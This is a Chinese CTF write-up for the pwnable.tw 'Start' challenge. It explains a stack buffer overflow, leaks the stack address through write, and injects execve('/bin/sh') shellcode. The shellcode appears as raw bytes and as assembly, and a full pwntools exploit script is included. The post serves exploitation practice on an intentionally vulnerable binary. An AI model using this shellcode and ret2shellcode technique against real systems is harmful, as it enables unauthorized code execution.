pwnable.tw Start

Start

首先,检查一下程序的保护机制

什么保护都没开,而且是32位程序,一看就是简单题目。😌
我们运行一下

程序的执行流程也特别简单,打印一串字符串,让你输入然后就退出了。
然后,我们用IDA分析一下

用了两个系统调用,通过下面的网站查查linux系统调用表
http://syscalls.kernelgrok.com

我们根据参数可以知道这两个调用分别是write和read,通过程序执行也可以猜得出来。
我们知道dl这个寄存器是控制输入字符的多少的,也就是所我们可以输入0x3c个字符,即read(1,esp,0x3c),那么esp在哪呢?
通过最后的add esp,14h 我们可以推断出start函数使用的是内平栈,也就是说esp距离ret的地址0x14个字节。我们通过gdb动态调试证实一下我们的猜想。

我们看到buf的地址,再来看看ret的地址

不出所料就是0x14,我们的padding=‘A’*0x14,接下来的的问题就是我们怎么劫持控制流。
由于程序啥保护都没开,我们可以试试ret2shellcode,那么我们就必须要知道栈的地址。怎么泄漏栈的地址呢?想想我们有write函数。
我们在ret的地址填充0x8048089就可以打印出栈的值。

payload = 'A'*0x14+p32(0x8048087)

read只有60个字节,还要减去24个字节,⽽pwntools提供的shellcode太⻓了,⽤不了我们上⽹去找个短的

shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'


这个shellcode无非就是调用系统调用嘛。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。为了4字节对齐,我们用//bin/sh
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0

切记shellcode会被\x00截断,千万别出现\x00!!!
我们用xor ecx,ecx来代替mov ecx,0

xor ecx,ecx
xor edx,edx
push edx ;\x00截断字符串
push 0x68732f6e ; 'n/sh'
push 0x69622f2f ; '//bi'
mov ebx,esp
mov al,0xb
int 0x80

同样是可以使用的😛

综上,我们的exp脚本

from pwn import *
context.log_level="debug"
p = process('./start')

payload = 'A'*0x14 + p32(0x8048087)
p.sendafter("Let's start the CTF:",payload)
stack_addr = u32(p.recv(4))
print 'stack_addr: '+hex(stack_addr)

#shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
payload = 'A'*0x14 + p32(stack_addr+0x14)+shellcode
p.send(payload)

p.interactive()




posted @ 2020-05-13 20:00  Rookle  阅读(783)  评论(1编辑  收藏  举报